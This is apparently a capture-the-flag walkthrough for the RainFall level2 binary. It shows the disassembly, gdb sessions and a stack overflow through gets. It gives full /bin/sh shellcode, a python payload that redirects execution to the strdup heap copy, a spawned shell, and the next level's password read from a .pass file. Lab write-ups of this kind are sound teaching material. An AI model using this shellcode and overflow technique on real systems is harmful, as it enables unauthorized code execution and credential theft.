RainFall/level2/Ressources/walkthrough.md

6.6 KiB
Raw Blame History

Code has 1 function that's interesting : p.

0x080484d4 <p+0>:	push   ebp
0x080484d5 <p+1>:	mov    ebp,esp
0x080484d7 <p+3>:	sub    esp,0x68
0x080484da <p+6>:	mov    eax,ds:0x8049860
0x080484df <p+11>:	mov    DWORD PTR [esp],eax
0x080484e2 <p+14>:	call   0x80483b0 <fflush@plt>
0x080484e7 <p+19>:	lea    eax,[ebp-0x4c]
0x080484ea <p+22>:	mov    DWORD PTR [esp],eax
0x080484ed <p+25>:	call   0x80483c0 <gets@plt>
0x080484f2 <p+30>:	mov    eax,DWORD PTR [ebp+0x4]
0x080484f5 <p+33>:	mov    DWORD PTR [ebp-0xc],eax
0x080484f8 <p+36>:	mov    eax,DWORD PTR [ebp-0xc]
0x080484fb <p+39>:	and    eax,0xb0000000
0x08048500 <p+44>:	cmp    eax,0xb0000000
0x08048505 <p+49>:	jne    0x8048527 <p+83>
0x08048507 <p+51>:	mov    eax,0x8048620
0x0804850c <p+56>:	mov    edx,DWORD PTR [ebp-0xc]
0x0804850f <p+59>:	mov    DWORD PTR [esp+0x4],edx
0x08048513 <p+63>:	mov    DWORD PTR [esp],eax
0x08048516 <p+66>:	call   0x80483a0 <printf@plt>
0x0804851b <p+71>:	mov    DWORD PTR [esp],0x1
0x08048522 <p+78>:	call   0x80483d0 <_exit@plt>
0x08048527 <p+83>:	lea    eax,[ebp-0x4c]
0x0804852a <p+86>:	mov    DWORD PTR [esp],eax
0x0804852d <p+89>:	call   0x80483f0 <puts@plt>
0x08048532 <p+94>:	lea    eax,[ebp-0x4c]
0x08048535 <p+97>:	mov    DWORD PTR [esp],eax
0x08048538 <p+100>:	call   0x80483e0 <strdup@plt>
0x0804853d <p+105>:	leave
0x0804853e <p+106>:	ret

Fig 1. Disassembly of p function

We notice there's a get to exploit, however, we have no idea where we could return as there is no shell opened anywhere in the program. We have to use a shellcode for this, which is a asm code that opens a shell. We are going to put in in our input string, and jump onto the start of it.

First step is to find the return address' of p in the stack.

(gdb) b *p+0
Breakpoint 2 at 0x80484d4
(gdb) run
Starting program: /home/user/level2/level2

Breakpoint 2, 0x080484d4 in p ()
(gdb) p $esp
$1 = (void *) 0xbffff72c

Then we'll need to figure out the size of our gets stack, we can count

0x080484d4 <p+0>:   push   ebp                     // esp -= 4
0x080484d5 <p+1>:   mov    ebp,esp                 // ebp = esp
0x080484d7 <p+3>:   sub    esp,0x68                // allocate 104 bytes
0x080484da <p+6>:   mov    eax,ds:0x8049860
0x080484df <p+11>:  mov    DWORD PTR [esp],eax
0x080484e2 <p+14>:  call   0x80483b0 <fflush@plt>
0x080484e7 <p+19>:  lea    eax,[ebp-0x4c]          // read to top 76 bytes
0x080484ea <p+22>:  mov    DWORD PTR [esp],eax      
0x080484ed <p+25>:  call   0x80483c0 <gets@plt>

So we have 76 bytes for the correct usage of the function, then 4 bytes that should contain the old value of ebp, then we should be at our ret address.

So we will put our shell code, then some 'A's until 80 characters, then the address of our shell code which should be the ret address + 8.

Let's try :)

Shellcode is 46 bytes long, so we need 34 'A'

Here is the shellcode taken from the internet : \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x24\xf7\xff\xbf')"; cat) | ./level2 
(0xbffff724)
whoami

It print's our return address and then exits to cat but no shell was opened.

This is because we entered this branch

0x080484f2 <p+30>:  mov    eax,DWORD PTR [ebp+0x4] // eax = ebp[4]
^ This line puts the return address's value of p function into eax register
0x080484f5 <p+33>:  mov    DWORD PTR [ebp-0xc],eax // ebp[-12] = eax
0x080484f8 <p+36>:  mov    eax,DWORD PTR [ebp-0xc] // eax = ebp[-12]
0x080484fb <p+39>:  and    eax,0xb0000000
0x08048500 <p+44>:  cmp    eax,0xb0000000
0x08048505 <p+49>:  jne    0x8048527 <p+83>
0x08048507 <p+51>:  mov    eax,0x8048620
0x0804850c <p+56>:  mov    edx,DWORD PTR [ebp-0xc]
0x0804850f <p+59>:  mov    DWORD PTR [esp+0x4],edx
0x08048513 <p+63>:  mov    DWORD PTR [esp],eax
0x08048516 <p+66>:  call   0x80483a0 <printf@plt>
0x0804851b <p+71>:  mov    DWORD PTR [esp],0x1
0x08048522 <p+78>:  call   0x80483d0 <_exit@plt>

So we cannot ever return on our string. At the end of the function tho, strdup is called on our string

 25 0x08048527 <p+83>:  lea    eax,[ebp-0x4c]
 26 0x0804852a <p+86>:  mov    DWORD PTR [esp],eax
 27 0x0804852d <p+89>:  call   0x80483f0 <puts@plt>
 28 0x08048532 <p+94>:  lea    eax,[ebp-0x4c]		// same as gets argument
 29 0x08048535 <p+97>:  mov    DWORD PTR [esp],eax
 30 0x08048538 <p+100>: call   0x80483e0 <strdup@plt>
 31 0x0804853d <p+105>: leave

So we can check the return address of strdup.

(gdb) b *p+105
Breakpoint 1 at 0x804853d
(gdb) run < shellcode_bf
Starting program: /home/user/level2/level2 < shellcode_bf
(0xbffff724)
[Inferior 1 (process 5098) exited with code 01]
(gdb) run < exploit3.txt
Starting program: /home/user/level2/level2 < exploit3.txt
<0A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<EFBFBD><31>F1<46>1<EFBFBD>̀<EFBFBD>[1<><31>C<EFBFBD><43>C
                                  <20>
                                   <20><>S
                                      <20><><EFBFBD><EFBFBD><EFBFBD>/bin/sh<73><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

Breakpoint 1, 0x0804853d in p ()
(gdb) i r
eax            0x804a008	134520840
ecx            0x0	0
edx            0xbffff6dc	-1073744164
ebx            0xb7fd0ff4	-1208152076
esp            0xbffff6c0	0xbffff6c0
ebp            0xbffff728	0xbffff728
esi            0x0	0
edi            0x0	0
eip            0x804853d	0x804853d <p+105>
eflags         0x200282	[ SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)

We see eax is 0x804a008, let's replace our command with this address.

(python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2

level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2
1<><31>F1<46>1<EFBFBD>̀<EFBFBD>[1<><31>C<EFBFBD><43>C
                 <20>
                  <20><>S
                     <20><><EFBFBD><EFBFBD><EFBFBD>/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
whoami
level3
cat /home/user/level3/.pass
492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02

:)